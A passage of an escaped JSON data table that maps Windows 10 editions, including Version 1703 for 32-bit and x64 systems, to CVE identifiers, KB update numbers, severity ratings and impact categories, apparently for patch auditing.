Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056890\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074590\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0882\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343887\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093119\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103723\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457131\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462917\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487026\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503267\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1476\",\"kb\":\"4530689\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537764\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540670\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550929\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556813\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571694\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003197\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003638\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601318\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001347\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004948\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005573\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006669\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014702\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029242\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025228\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026363\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073722\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028169\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-44487\",\"kb\":\"5031362\",\"severity\":\"Important\",\"impact\":\"Denial of Service\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041773\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043051\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048671\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5049993\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053594\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055521\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058383\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061010\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066836\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062560\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-48799\",\"kb\":\"5062560\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063871\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1703 for 32-bit Systems\":[{\"cve\":\"CVE-2017-0213\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4016871\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041676\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041676\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048954\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053580\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025342\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0743\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0882\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343885\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093107\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103731\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457138\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457138\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467696\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467696\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467696\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487020\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0841\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503279\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 Version 1703 for x64-based Systems\":[{\"cve\":\"CVE-2017-0213\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4016871\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041676\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4041676\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048954\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053580\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022725\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022725\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025342\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038788\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038788\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0743\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056891\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0826\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074592\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0877\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0880\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0882\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343885\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093107\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0982\",\"kb\":\"4284874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103731\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8208\",\"kb\":\"4284874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8214\",\"kb\":\"4284874\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457138\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457138\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8495\",\"kb\":\"4462937\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467696\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467696\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467696\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487020\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Elevation of 